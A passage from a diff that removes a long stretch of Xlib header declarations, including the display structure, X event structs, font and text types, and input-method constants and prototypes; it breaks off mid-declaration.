-#ifndef XLIB_ILLEGAL_ACCESS
-typedef struct _XDisplay Display;
-#endif
-
-struct _XPrivate; /* Forward declare before use for C++ */
-struct _XrmHashBucketRec;
-
-typedef struct
-#ifdef XLIB_ILLEGAL_ACCESS
-_XDisplay
-#endif
-{
- XExtData *ext_data; /* hook for extension to hang data */
- struct _XPrivate *private1;
- int fd; /* Network socket. */
- int private2;
- int proto_major_version;/* major version of server's X protocol */
- int proto_minor_version;/* minor version of servers X protocol */
- char *vendor; /* vendor of the server hardware */
- XID private3;
- XID private4;
- XID private5;
- int private6;
- XID (*resource_alloc)( /* allocator function */
-#if NeedFunctionPrototypes
- struct _XDisplay*
-#endif
- );
- int byte_order; /* screen byte order, LSBFirst, MSBFirst */
- int bitmap_unit; /* padding and data requirements */
- int bitmap_pad; /* padding requirements on bitmaps */
- int bitmap_bit_order; /* LeastSignificant or MostSignificant */
- int nformats; /* number of pixmap formats in list */
- ScreenFormat *pixmap_format; /* pixmap format list */
- int private8;
- int release; /* release of the server */
- struct _XPrivate *private9, *private10;
- int qlen; /* Length of input event queue */
- unsigned long last_request_read; /* seq number of last event read */
- unsigned long request; /* sequence number of last request. */
- XPointer private11;
- XPointer private12;
- XPointer private13;
- XPointer private14;
- unsigned max_request_size; /* maximum number 32 bit words in request*/
- struct _XrmHashBucketRec *db;
- int (*private15)(
-#if NeedFunctionPrototypes
- struct _XDisplay*
-#endif
- );
- char *display_name; /* "host:display" string used on this connect*/
- int default_screen; /* default screen for operations */
- int nscreens; /* number of screens on this server*/
- Screen *screens; /* pointer to list of screens */
- unsigned long motion_buffer; /* size of motion buffer */
- unsigned long private16;
- int min_keycode; /* minimum defined keycode */
- int max_keycode; /* maximum defined keycode */
- XPointer private17;
- XPointer private18;
- int private19;
- char *xdefaults; /* contents of defaults from server */
- /* there is more to this structure, but it is private to Xlib */
-}
-#ifdef XLIB_ILLEGAL_ACCESS
-Display,
-#endif
-*_XPrivDisplay;
-
-#if NeedFunctionPrototypes /* prototypes require event type definitions */
-#undef _XEVENT_
-#endif
-#ifndef _XEVENT_
-/*
- * Definitions of specific events.
- */
-typedef struct {
- int type; /* of event */
- unsigned long serial; /* # of last request processed by server */
- Bool send_event; /* true if this came from a SendEvent request */
- Display *display; /* Display the event was read from */
- Window window; /* "event" window it is reported relative to */
- Window root; /* root window that the event occurred on */
- Window subwindow; /* child window */
- Time time; /* milliseconds */
- int x, y; /* pointer x, y coordinates in event window */
- int x_root, y_root; /* coordinates relative to root */
- unsigned int state; /* key or button mask */
- unsigned int keycode; /* detail */
- Bool same_screen; /* same screen flag */
-} XKeyEvent;
-typedef XKeyEvent XKeyPressedEvent;
-typedef XKeyEvent XKeyReleasedEvent;
-
-typedef struct {
- int type; /* of event */
- unsigned long serial; /* # of last request processed by server */
- Bool send_event; /* true if this came from a SendEvent request */
- Display *display; /* Display the event was read from */
- Window window; /* "event" window it is reported relative to */
- Window root; /* root window that the event occurred on */
- Window subwindow; /* child window */
- Time time; /* milliseconds */
- int x, y; /* pointer x, y coordinates in event window */
- int x_root, y_root; /* coordinates relative to root */
- unsigned int state; /* key or button mask */
- unsigned int button; /* detail */
- Bool same_screen; /* same screen flag */
-} XButtonEvent;
-typedef XButtonEvent XButtonPressedEvent;
-typedef XButtonEvent XButtonReleasedEvent;
-
-typedef struct {
- int type; /* of event */
- unsigned long serial; /* # of last request processed by server */
- Bool send_event; /* true if this came from a SendEvent request */
- Display *display; /* Display the event was read from */
- Window window; /* "event" window reported relative to */
- Window root; /* root window that the event occurred on */
- Window subwindow; /* child window */
- Time time; /* milliseconds */
- int x, y; /* pointer x, y coordinates in event window */
- int x_root, y_root; /* coordinates relative to root */
- unsigned int state; /* key or button mask */
- char is_hint; /* detail */
- Bool same_screen; /* same screen flag */
-} XMotionEvent;
-typedef XMotionEvent XPointerMovedEvent;
-
-typedef struct {
- int type; /* of event */
- unsigned long serial; /* # of last request processed by server */
- Bool send_event; /* true if this came from a SendEvent request */
- Display *display; /* Display the event was read from */
- Window window; /* "event" window reported relative to */
- Window root; /* root window that the event occurred on */
- Window subwindow; /* child window */
- Time time; /* milliseconds */
- int x, y; /* pointer x, y coordinates in event window */
- int x_root, y_root; /* coordinates relative to root */
- int mode; /* NotifyNormal, NotifyGrab, NotifyUngrab */
- int detail;
- /*
- * NotifyAncestor, NotifyVirtual, NotifyInferior,
- * NotifyNonlinear,NotifyNonlinearVirtual
- */
- Bool same_screen; /* same screen flag */
- Bool focus; /* boolean focus */
- unsigned int state; /* key or button mask */
-} XCrossingEvent;
-typedef XCrossingEvent XEnterWindowEvent;
-typedef XCrossingEvent XLeaveWindowEvent;
-
-typedef struct {
- int type; /* FocusIn or FocusOut */
- unsigned long serial; /* # of last request processed by server */
- Bool send_event; /* true if this came from a SendEvent request */
- Display *display; /* Display the event was read from */
- Window window; /* window of event */
- int mode; /* NotifyNormal, NotifyGrab, NotifyUngrab */
- int detail;
- /*
- * NotifyAncestor, NotifyVirtual, NotifyInferior,
- * NotifyNonlinear,NotifyNonlinearVirtual, NotifyPointer,
- * NotifyPointerRoot, NotifyDetailNone
- */
-} XFocusChangeEvent;
-typedef XFocusChangeEvent XFocusInEvent;
-typedef XFocusChangeEvent XFocusOutEvent;
-
-/* generated on EnterWindow and FocusIn when KeyMapState selected */
-typedef struct {
- int type;
- unsigned long serial; /* # of last request processed by server */
- Bool send_event; /* true if this came from a SendEvent request */
- Display *display; /* Display the event was read from */
- Window window;
- char key_vector[32];
-} XKeymapEvent;
-
-typedef struct {
- int type;
- unsigned long serial; /* # of last request processed by server */
- Bool send_event; /* true if this came from a SendEvent request */
- Display *display; /* Display the event was read from */
- Window window;
- int x, y;
- int width, height;
- int count; /* if non-zero, at least this many more */
-} XExposeEvent;
-
-typedef struct {
- int type;
- unsigned long serial; /* # of last request processed by server */
- Bool send_event; /* true if this came from a SendEvent request */
- Display *display; /* Display the event was read from */
- Drawable drawable;
- int x, y;
- int width, height;
- int count; /* if non-zero, at least this many more */
- int major_code; /* core is CopyArea or CopyPlane */
- int minor_code; /* not defined in the core */
-} XGraphicsExposeEvent;
-
-typedef struct {
- int type;
- unsigned long serial; /* # of last request processed by server */
- Bool send_event; /* true if this came from a SendEvent request */
- Display *display; /* Display the event was read from */
- Drawable drawable;
- int major_code; /* core is CopyArea or CopyPlane */
- int minor_code; /* not defined in the core */
-} XNoExposeEvent;
-
-typedef struct {
- int type;
- unsigned long serial; /* # of last request processed by server */
- Bool send_event; /* true if this came from a SendEvent request */
- Display *display; /* Display the event was read from */
- Window window;
- int state; /* Visibility state */
-} XVisibilityEvent;
-
-typedef struct {
- int type;
- unsigned long serial; /* # of last request processed by server */
- Bool send_event; /* true if this came from a SendEvent request */
- Display *display; /* Display the event was read from */
- Window parent; /* parent of the window */
- Window window; /* window id of window created */
- int x, y; /* window location */
- int width, height; /* size of window */
- int border_width; /* border width */
- Bool override_redirect; /* creation should be overridden */
-} XCreateWindowEvent;
-
-typedef struct {
- int type;
- unsigned long serial; /* # of last request processed by server */
- Bool send_event; /* true if this came from a SendEvent request */
- Display *display; /* Display the event was read from */
- Window event;
- Window window;
-} XDestroyWindowEvent;
-
-typedef struct {
- int type;
- unsigned long serial; /* # of last request processed by server */
- Bool send_event; /* true if this came from a SendEvent request */
- Display *display; /* Display the event was read from */
- Window event;
- Window window;
- Bool from_configure;
-} XUnmapEvent;
-
-typedef struct {
- int type;
- unsigned long serial; /* # of last request processed by server */
- Bool send_event; /* true if this came from a SendEvent request */
- Display *display; /* Display the event was read from */
- Window event;
- Window window;
- Bool override_redirect; /* boolean, is override set... */
-} XMapEvent;
-
-typedef struct {
- int type;
- unsigned long serial; /* # of last request processed by server */
- Bool send_event; /* true if this came from a SendEvent request */
- Display *display; /* Display the event was read from */
- Window parent;
- Window window;
-} XMapRequestEvent;
-
-typedef struct {
- int type;
- unsigned long serial; /* # of last request processed by server */
- Bool send_event; /* true if this came from a SendEvent request */
- Display *display; /* Display the event was read from */
- Window event;
- Window window;
- Window parent;
- int x, y;
- Bool override_redirect;
-} XReparentEvent;
-
-typedef struct {
- int type;
- unsigned long serial; /* # of last request processed by server */
- Bool send_event; /* true if this came from a SendEvent request */
- Display *display; /* Display the event was read from */
- Window event;
- Window window;
- int x, y;
- int width, height;
- int border_width;
- Window above;
- Bool override_redirect;
-} XConfigureEvent;
-
-typedef struct {
- int type;
- unsigned long serial; /* # of last request processed by server */
- Bool send_event; /* true if this came from a SendEvent request */
- Display *display; /* Display the event was read from */
- Window event;
- Window window;
- int x, y;
-} XGravityEvent;
-
-typedef struct {
- int type;
- unsigned long serial; /* # of last request processed by server */
- Bool send_event; /* true if this came from a SendEvent request */
- Display *display; /* Display the event was read from */
- Window window;
- int width, height;
-} XResizeRequestEvent;
-
-typedef struct {
- int type;
- unsigned long serial; /* # of last request processed by server */
- Bool send_event; /* true if this came from a SendEvent request */
- Display *display; /* Display the event was read from */
- Window parent;
- Window window;
- int x, y;
- int width, height;
- int border_width;
- Window above;
- int detail; /* Above, Below, TopIf, BottomIf, Opposite */
- unsigned long value_mask;
-} XConfigureRequestEvent;
-
-typedef struct {
- int type;
- unsigned long serial; /* # of last request processed by server */
- Bool send_event; /* true if this came from a SendEvent request */
- Display *display; /* Display the event was read from */
- Window event;
- Window window;
- int place; /* PlaceOnTop, PlaceOnBottom */
-} XCirculateEvent;
-
-typedef struct {
- int type;
- unsigned long serial; /* # of last request processed by server */
- Bool send_event; /* true if this came from a SendEvent request */
- Display *display; /* Display the event was read from */
- Window parent;
- Window window;
- int place; /* PlaceOnTop, PlaceOnBottom */
-} XCirculateRequestEvent;
-
-typedef struct {
- int type;
- unsigned long serial; /* # of last request processed by server */
- Bool send_event; /* true if this came from a SendEvent request */
- Display *display; /* Display the event was read from */
- Window window;
- Atom atom;
- Time time;
- int state; /* NewValue, Deleted */
-} XPropertyEvent;
-
-typedef struct {
- int type;
- unsigned long serial; /* # of last request processed by server */
- Bool send_event; /* true if this came from a SendEvent request */
- Display *display; /* Display the event was read from */
- Window window;
- Atom selection;
- Time time;
-} XSelectionClearEvent;
-
-typedef struct {
- int type;
- unsigned long serial; /* # of last request processed by server */
- Bool send_event; /* true if this came from a SendEvent request */
- Display *display; /* Display the event was read from */
- Window owner;
- Window requestor;
- Atom selection;
- Atom target;
- Atom property;
- Time time;
-} XSelectionRequestEvent;
-
-typedef struct {
- int type;
- unsigned long serial; /* # of last request processed by server */
- Bool send_event; /* true if this came from a SendEvent request */
- Display *display; /* Display the event was read from */
- Window requestor;
- Atom selection;
- Atom target;
- Atom property; /* ATOM or None */
- Time time;
-} XSelectionEvent;
-
-typedef struct {
- int type;
- unsigned long serial; /* # of last request processed by server */
- Bool send_event; /* true if this came from a SendEvent request */
- Display *display; /* Display the event was read from */
- Window window;
- Colormap colormap; /* COLORMAP or None */
-#if defined(__cplusplus) || defined(c_plusplus)
- Bool c_new; /* C++ */
-#else
- Bool new;
-#endif
- int state; /* ColormapInstalled, ColormapUninstalled */
-} XColormapEvent;
-
-typedef struct {
- int type;
- unsigned long serial; /* # of last request processed by server */
- Bool send_event; /* true if this came from a SendEvent request */
- Display *display; /* Display the event was read from */
- Window window;
- Atom message_type;
- int format;
- union {
- char b[20];
- short s[10];
- long l[5];
- } data;
-} XClientMessageEvent;
-
-typedef struct {
- int type;
- unsigned long serial; /* # of last request processed by server */
- Bool send_event; /* true if this came from a SendEvent request */
- Display *display; /* Display the event was read from */
- Window window; /* unused */
- int request; /* one of MappingModifier, MappingKeyboard,
- MappingPointer */
- int first_keycode; /* first keycode */
- int count; /* defines range of change w. first_keycode*/
-} XMappingEvent;
-
-typedef struct {
- int type;
- Display *display; /* Display the event was read from */
- XID resourceid; /* resource id */
- unsigned long serial; /* serial number of failed request */
- unsigned char error_code; /* error code of failed request */
- unsigned char request_code; /* Major op-code of failed request */
- unsigned char minor_code; /* Minor op-code of failed request */
-} XErrorEvent;
-
-typedef struct {
- int type;
- unsigned long serial; /* # of last request processed by server */
- Bool send_event; /* true if this came from a SendEvent request */
- Display *display;/* Display the event was read from */
- Window window; /* window on which event was requested in event mask */
-} XAnyEvent;
-
-/*
- * this union is defined so Xlib can always use the same sized
- * event structure internally, to avoid memory fragmentation.
- */
-typedef union _XEvent {
- int type; /* must not be changed; first element */
- XAnyEvent xany;
- XKeyEvent xkey;
- XButtonEvent xbutton;
- XMotionEvent xmotion;
- XCrossingEvent xcrossing;
- XFocusChangeEvent xfocus;
- XExposeEvent xexpose;
- XGraphicsExposeEvent xgraphicsexpose;
- XNoExposeEvent xnoexpose;
- XVisibilityEvent xvisibility;
- XCreateWindowEvent xcreatewindow;
- XDestroyWindowEvent xdestroywindow;
- XUnmapEvent xunmap;
- XMapEvent xmap;
- XMapRequestEvent xmaprequest;
- XReparentEvent xreparent;
- XConfigureEvent xconfigure;
- XGravityEvent xgravity;
- XResizeRequestEvent xresizerequest;
- XConfigureRequestEvent xconfigurerequest;
- XCirculateEvent xcirculate;
- XCirculateRequestEvent xcirculaterequest;
- XPropertyEvent xproperty;
- XSelectionClearEvent xselectionclear;
- XSelectionRequestEvent xselectionrequest;
- XSelectionEvent xselection;
- XColormapEvent xcolormap;
- XClientMessageEvent xclient;
- XMappingEvent xmapping;
- XErrorEvent xerror;
- XKeymapEvent xkeymap;
- long pad[24];
-} XEvent;
-#endif
-
-#define XAllocID(dpy) ((*((_XPrivDisplay)dpy)->resource_alloc)((dpy)))
-
-/*
- * per character font metric information.
- */
-typedef struct {
- short lbearing; /* origin to left edge of raster */
- short rbearing; /* origin to right edge of raster */
- short width; /* advance to next char's origin */
- short ascent; /* baseline to top edge of raster */
- short descent; /* baseline to bottom edge of raster */
- unsigned short attributes; /* per char flags (not predefined) */
-} XCharStruct;
-
-/*
- * To allow arbitrary information with fonts, there are additional properties
- * returned.
- */
-typedef struct {
- Atom name;
- unsigned long card32;
-} XFontProp;
-
-typedef struct {
- XExtData *ext_data; /* hook for extension to hang data */
- Font fid; /* Font id for this font */
- unsigned direction; /* hint about direction the font is painted */
- unsigned min_char_or_byte2;/* first character */
- unsigned max_char_or_byte2;/* last character */
- unsigned min_byte1; /* first row that exists */
- unsigned max_byte1; /* last row that exists */
- Bool all_chars_exist;/* flag if all characters have non-zero size*/
- unsigned default_char; /* char to print for undefined character */
- int n_properties; /* how many properties there are */
- XFontProp *properties; /* pointer to array of additional properties*/
- XCharStruct min_bounds; /* minimum bounds over all existing char*/
- XCharStruct max_bounds; /* maximum bounds over all existing char*/
- XCharStruct *per_char; /* first_char to last_char information */
- int ascent; /* log. extent above baseline for spacing */
- int descent; /* log. descent below baseline for spacing */
-} XFontStruct;
-
-/*
- * PolyText routines take these as arguments.
- */
-typedef struct {
- char *chars; /* pointer to string */
- int nchars; /* number of characters */
- int delta; /* delta between strings */
- Font font; /* font to print it in, None don't change */
-} XTextItem;
-
-typedef struct { /* normal 16 bit characters are two bytes */
- unsigned char byte1;
- unsigned char byte2;
-} XChar2b;
-
-typedef struct {
- XChar2b *chars; /* two byte characters */
- int nchars; /* number of characters */
- int delta; /* delta between strings */
- Font font; /* font to print it in, None don't change */
-} XTextItem16;
-
-
-typedef union { Display *display;
- GC gc;
- Visual *visual;
- Screen *screen;
- ScreenFormat *pixmap_format;
- XFontStruct *font; } XEDataObject;
-
-typedef struct {
- XRectangle max_ink_extent;
- XRectangle max_logical_extent;
-} XFontSetExtents;
-
-/* unused:
-typedef void (*XOMProc)();
- */
-
-typedef struct _XOM *XOM;
-typedef struct _XOC *XOC, *XFontSet;
-
-typedef struct {
- char *chars;
- int nchars;
- int delta;
- XFontSet font_set;
-} XmbTextItem;
-
-typedef struct {
- wchar_t *chars;
- int nchars;
- int delta;
- XFontSet font_set;
-} XwcTextItem;
-
-#define XNRequiredCharSet "requiredCharSet"
-#define XNQueryOrientation "queryOrientation"
-#define XNBaseFontName "baseFontName"
-#define XNOMAutomatic "omAutomatic"
-#define XNMissingCharSet "missingCharSet"
-#define XNDefaultString "defaultString"
-#define XNOrientation "orientation"
-#define XNDirectionalDependentDrawing "directionalDependentDrawing"
-#define XNContextualDrawing "contextualDrawing"
-#define XNFontInfo "fontInfo"
-
-typedef struct {
- int charset_count;
- char **charset_list;
-} XOMCharSetList;
-
-typedef enum {
- XOMOrientation_LTR_TTB,
- XOMOrientation_RTL_TTB,
- XOMOrientation_TTB_LTR,
- XOMOrientation_TTB_RTL,
- XOMOrientation_Context
-} XOrientation;
-
-typedef struct {
- int num_orientation;
- XOrientation *orientation; /* Input Text description */
-} XOMOrientation;
-
-typedef struct {
- int num_font;
- XFontStruct **font_struct_list;
- char **font_name_list;
-} XOMFontInfo;
-
-typedef struct _XIM *XIM;
-typedef struct _XIC *XIC;
-
-typedef void (*XIMProc)(
-#if NeedFunctionPrototypes
- XIM,
- XPointer,
- XPointer
-#endif
-);
-
-typedef Bool (*XICProc)(
-#if NeedFunctionPrototypes
- XIC,
- XPointer,
- XPointer
-#endif
-);
-
-typedef void (*XIDProc)(
-#if NeedFunctionPrototypes
- Display*,
- XPointer,
- XPointer
-#endif
-);
-
-typedef unsigned long XIMStyle;
-
-typedef struct {
- unsigned short count_styles;
- XIMStyle *supported_styles;
-} XIMStyles;
-
-#define XIMPreeditArea 0x0001L
-#define XIMPreeditCallbacks 0x0002L
-#define XIMPreeditPosition 0x0004L
-#define XIMPreeditNothing 0x0008L
-#define XIMPreeditNone 0x0010L
-#define XIMStatusArea 0x0100L
-#define XIMStatusCallbacks 0x0200L
-#define XIMStatusNothing 0x0400L
-#define XIMStatusNone 0x0800L
-
-#define XNVaNestedList "XNVaNestedList"
-#define XNQueryInputStyle "queryInputStyle"
-#define XNClientWindow "clientWindow"
-#define XNInputStyle "inputStyle"
-#define XNFocusWindow "focusWindow"
-#define XNResourceName "resourceName"
-#define XNResourceClass "resourceClass"
-#define XNGeometryCallback "geometryCallback"
-#define XNDestroyCallback "destroyCallback"
-#define XNFilterEvents "filterEvents"
-#define XNPreeditStartCallback "preeditStartCallback"
-#define XNPreeditDoneCallback "preeditDoneCallback"
-#define XNPreeditDrawCallback "preeditDrawCallback"
-#define XNPreeditCaretCallback "preeditCaretCallback"
-#define XNPreeditStateNotifyCallback "preeditStateNotifyCallback"
-#define XNPreeditAttributes "preeditAttributes"
-#define XNStatusStartCallback "statusStartCallback"
-#define XNStatusDoneCallback "statusDoneCallback"
-#define XNStatusDrawCallback "statusDrawCallback"
-#define XNStatusAttributes "statusAttributes"
-#define XNArea "area"
-#define XNAreaNeeded "areaNeeded"
-#define XNSpotLocation "spotLocation"
-#define XNColormap "colorMap"
-#define XNStdColormap "stdColorMap"
-#define XNForeground "foreground"
-#define XNBackground "background"
-#define XNBackgroundPixmap "backgroundPixmap"
-#define XNFontSet "fontSet"
-#define XNLineSpace "lineSpace"
-#define XNCursor "cursor"
-
-#define XNQueryIMValuesList "queryIMValuesList"
-#define XNQueryICValuesList "queryICValuesList"
-#define XNVisiblePosition "visiblePosition"
-#define XNR6PreeditCallback "r6PreeditCallback"
-#define XNStringConversionCallback "stringConversionCallback"
-#define XNStringConversion "stringConversion"
-#define XNResetState "resetState"
-#define XNHotKey "hotKey"
-#define XNHotKeyState "hotKeyState"
-#define XNPreeditState "preeditState"
-#define XNSeparatorofNestedList "separatorofNestedList"
-
-#define XBufferOverflow -1
-#define XLookupNone 1
-#define XLookupChars 2
-#define XLookupKeySym 3
-#define XLookupBoth 4
-
-#if NeedFunctionPrototypes
-typedef void *XVaNestedList;
-#else
-typedef XPointer XVaNestedList;
-#endif
-
-typedef struct {
- XPointer client_data;
- XIMProc callback;
-} XIMCallback;
-
-typedef struct {
- XPointer client_data;
- XICProc callback;
-} XICCallback;
-
-typedef unsigned long XIMFeedback;
-
-#define XIMReverse 1L
-#define XIMUnderline (1L<<1)
-#define XIMHighlight (1L<<2)
-#define XIMPrimary (1L<<5)
-#define XIMSecondary (1L<<6)
-#define XIMTertiary (1L<<7)
-#define XIMVisibleToForward (1L<<8)
-#define XIMVisibleToBackword (1L<<9)
-#define XIMVisibleToCenter (1L<<10)
-
-typedef struct _XIMText {
- unsigned short length;
- XIMFeedback *feedback;
- Bool encoding_is_wchar;
- union {
- char *multi_byte;
- wchar_t *wide_char;
- } string;
-} XIMText;
-
-typedef unsigned long XIMPreeditState;
-
-#define XIMPreeditUnKnown 0L
-#define XIMPreeditEnable 1L
-#define XIMPreeditDisable (1L<<1)
-
-typedef struct _XIMPreeditStateNotifyCallbackStruct {
- XIMPreeditState state;
-} XIMPreeditStateNotifyCallbackStruct;
-
-typedef unsigned long XIMResetState;
-
-#define XIMInitialState 1L
-#define XIMPreserveState (1L<<1)
-
-typedef unsigned long XIMStringConversionFeedback;
-
-#define XIMStringConversionLeftEdge (0x00000001)
-#define XIMStringConversionRightEdge (0x00000002)
-#define XIMStringConversionTopEdge (0x00000004)
-#define XIMStringConversionBottomEdge (0x00000008)
-#define XIMStringConversionConcealed (0x00000010)
-#define XIMStringConversionWrapped (0x00000020)
-
-typedef struct _XIMStringConversionText {
- unsigned short length;
- XIMStringConversionFeedback *feedback;
- Bool encoding_is_wchar;
- union {
- char *mbs;
- wchar_t *wcs;
- } string;
-} XIMStringConversionText;
-
-typedef unsigned short XIMStringConversionPosition;
-
-typedef unsigned short XIMStringConversionType;
-
-#define XIMStringConversionBuffer (0x0001)
-#define XIMStringConversionLine (0x0002)
-#define XIMStringConversionWord (0x0003)
-#define XIMStringConversionChar (0x0004)
-
-typedef unsigned short XIMStringConversionOperation;
-
-#define XIMStringConversionSubstitution (0x0001)
-#define XIMStringConversionRetrieval (0x0002)
-
-typedef enum {
- XIMForwardChar, XIMBackwardChar,
- XIMForwardWord, XIMBackwardWord,
- XIMCaretUp, XIMCaretDown,
- XIMNextLine, XIMPreviousLine,
- XIMLineStart, XIMLineEnd,
- XIMAbsolutePosition,
- XIMDontChange
-} XIMCaretDirection;
-
-typedef struct _XIMStringConversionCallbackStruct {
- XIMStringConversionPosition position;
- XIMCaretDirection direction;
- XIMStringConversionOperation operation;
- unsigned short factor;
- XIMStringConversionText *text;
-} XIMStringConversionCallbackStruct;
-
-typedef struct _XIMPreeditDrawCallbackStruct {
- int caret; /* Cursor offset within pre-edit string */
- int chg_first; /* Starting change position */
- int chg_length; /* Length of the change in character count */
- XIMText *text;
-} XIMPreeditDrawCallbackStruct;
-
-typedef enum {
- XIMIsInvisible, /* Disable caret feedback */
- XIMIsPrimary, /* UI defined caret feedback */
- XIMIsSecondary /* UI defined caret feedback */
-} XIMCaretStyle;
-
-typedef struct _XIMPreeditCaretCallbackStruct {
- int position; /* Caret offset within pre-edit string */
- XIMCaretDirection direction; /* Caret moves direction */
- XIMCaretStyle style; /* Feedback of the caret */
-} XIMPreeditCaretCallbackStruct;
-
-typedef enum {
- XIMTextType,
- XIMBitmapType
-} XIMStatusDataType;
-
-typedef struct _XIMStatusDrawCallbackStruct {
- XIMStatusDataType type;
- union {
- XIMText *text;
- Pixmap bitmap;
- } data;
-} XIMStatusDrawCallbackStruct;
-
-typedef struct _XIMHotKeyTrigger {
- KeySym keysym;
- int modifier;
- int modifier_mask;
-} XIMHotKeyTrigger;
-
-typedef struct _XIMHotKeyTriggers {
- int num_hot_key;
- XIMHotKeyTrigger *key;
-} XIMHotKeyTriggers;
-
-typedef unsigned long XIMHotKeyState;
-
-#define XIMHotKeyStateON (0x0001L)
-#define XIMHotKeyStateOFF (0x0002L)
-
-typedef struct {
- unsigned short count_values;
- char **supported_values;
-} XIMValuesList;
-
-#if 0
-_XFUNCPROTOBEGIN
-
-#if defined(WIN32) && !defined(_XLIBINT_)
-#define _Xdebug (*_Xdebug_p)
-#endif
-
-extern int _Xdebug;
-
-extern XFontStruct *XLoadQueryFont(
-#if NeedFunctionPrototypes
- Display* /* display */,
- _Xconst char* /* name */
-#endif
-);
-
-extern XFontStruct *XQueryFont(
-#if NeedFunctionPrototypes
- Display* /* display */,
- XID /* font_ID */
-#endif
-);
-
-
-extern XTimeCoord *XGetMotionEvents(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- Time /* start */,
- Time /* stop */,
- int* /* nevents_return */
-#endif
-);
-
-extern XModifierKeymap *XDeleteModifiermapEntry(
-#if NeedFunctionPrototypes
- XModifierKeymap* /* modmap */,
-#if NeedWidePrototypes
- unsigned int /* keycode_entry */,
-#else
- KeyCode /* keycode_entry */,
-#endif
- int /* modifier */
-#endif
-);
-
-extern XModifierKeymap *XGetModifierMapping(
-#if NeedFunctionPrototypes
- Display* /* display */
-#endif
-);
-
-extern XModifierKeymap *XInsertModifiermapEntry(
-#if NeedFunctionPrototypes
- XModifierKeymap* /* modmap */,
-#if NeedWidePrototypes
- unsigned int /* keycode_entry */,
-#else
- KeyCode /* keycode_entry */,
-#endif
- int /* modifier */
-#endif
-);
-
-extern XModifierKeymap *XNewModifiermap(
-#if NeedFunctionPrototypes
- int /* max_keys_per_mod */
-#endif
-);
-
-extern XImage *XCreateImage(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Visual* /* visual */,
- unsigned int /* depth */,
- int /* format */,
- int /* offset */,
- char* /* data */,
- unsigned int /* width */,
- unsigned int /* height */,
- int /* bitmap_pad */,
- int /* bytes_per_line */
-#endif
-);
-extern Status XInitImage(
-#if NeedFunctionPrototypes
- XImage* /* image */
-#endif
-);
-extern XImage *XGetImage(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Drawable /* d */,
- int /* x */,
- int /* y */,
- unsigned int /* width */,
- unsigned int /* height */,
- unsigned long /* plane_mask */,
- int /* format */
-#endif
-);
-extern XImage *XGetSubImage(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Drawable /* d */,
- int /* x */,
- int /* y */,
- unsigned int /* width */,
- unsigned int /* height */,
- unsigned long /* plane_mask */,
- int /* format */,
- XImage* /* dest_image */,
- int /* dest_x */,
- int /* dest_y */
-#endif
-);
-
-/*
- * X function declarations.
- */
-extern Display *XOpenDisplay(
-#if NeedFunctionPrototypes
- _Xconst char* /* display_name */
-#endif
-);
-
-extern void XrmInitialize(
-#if NeedFunctionPrototypes
- void
-#endif
-);
-
-extern char *XFetchBytes(
-#if NeedFunctionPrototypes
- Display* /* display */,
- int* /* nbytes_return */
-#endif
-);
-extern char *XFetchBuffer(
-#if NeedFunctionPrototypes
- Display* /* display */,
- int* /* nbytes_return */,
- int /* buffer */
-#endif
-);
-extern char *XGetAtomName(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Atom /* atom */
-#endif
-);
-extern Status XGetAtomNames(
-#if NeedFunctionPrototypes
- Display* /* dpy */,
- Atom* /* atoms */,
- int /* count */,
- char** /* names_return */
-#endif
-);
-extern char *XGetDefault(
-#if NeedFunctionPrototypes
- Display* /* display */,
- _Xconst char* /* program */,
- _Xconst char* /* option */
-#endif
-);
-extern char *XDisplayName(
-#if NeedFunctionPrototypes
- _Xconst char* /* string */
-#endif
-);
-extern char *XKeysymToString(
-#if NeedFunctionPrototypes
- KeySym /* keysym */
-#endif
-);
-
-extern int (*XSynchronize(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Bool /* onoff */
-#endif
-))(
-#if NeedNestedPrototypes
- Display* /* display */
-#endif
-);
-extern int (*XSetAfterFunction(
-#if NeedFunctionPrototypes
- Display* /* display */,
- int (*) (
-#if NeedNestedPrototypes
- Display* /* display */
-#endif
- ) /* procedure */
-#endif
-))(
-#if NeedNestedPrototypes
- Display* /* display */
-#endif
-);
-extern Atom XInternAtom(
-#if NeedFunctionPrototypes
- Display* /* display */,
- _Xconst char* /* atom_name */,
- Bool /* only_if_exists */
-#endif
-);
-extern Status XInternAtoms(
-#if NeedFunctionPrototypes
- Display* /* dpy */,
- char** /* names */,
- int /* count */,
- Bool /* onlyIfExists */,
- Atom* /* atoms_return */
-#endif
-);
-extern Colormap XCopyColormapAndFree(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Colormap /* colormap */
-#endif
-);
-extern Colormap XCreateColormap(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- Visual* /* visual */,
- int /* alloc */
-#endif
-);
-extern Cursor XCreatePixmapCursor(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Pixmap /* source */,
- Pixmap /* mask */,
- XColor* /* foreground_color */,
- XColor* /* background_color */,
- unsigned int /* x */,
- unsigned int /* y */
-#endif
-);
-extern Cursor XCreateGlyphCursor(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Font /* source_font */,
- Font /* mask_font */,
- unsigned int /* source_char */,
- unsigned int /* mask_char */,
- XColor _Xconst * /* foreground_color */,
- XColor _Xconst * /* background_color */
-#endif
-);
-extern Cursor XCreateFontCursor(
-#if NeedFunctionPrototypes
- Display* /* display */,
- unsigned int /* shape */
-#endif
-);
-extern Font XLoadFont(
-#if NeedFunctionPrototypes
- Display* /* display */,
- _Xconst char* /* name */
-#endif
-);
-extern GC XCreateGC(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Drawable /* d */,
- unsigned long /* valuemask */,
- XGCValues* /* values */
-#endif
-);
-extern GContext XGContextFromGC(
-#if NeedFunctionPrototypes
- GC /* gc */
-#endif
-);
-extern void XFlushGC(
-#if NeedFunctionPrototypes
- Display* /* display */,
- GC /* gc */
-#endif
-);
-extern Pixmap XCreatePixmap(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Drawable /* d */,
- unsigned int /* width */,
- unsigned int /* height */,
- unsigned int /* depth */
-#endif
-);
-extern Pixmap XCreateBitmapFromData(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Drawable /* d */,
- _Xconst char* /* data */,
- unsigned int /* width */,
- unsigned int /* height */
-#endif
-);
-extern Pixmap XCreatePixmapFromBitmapData(
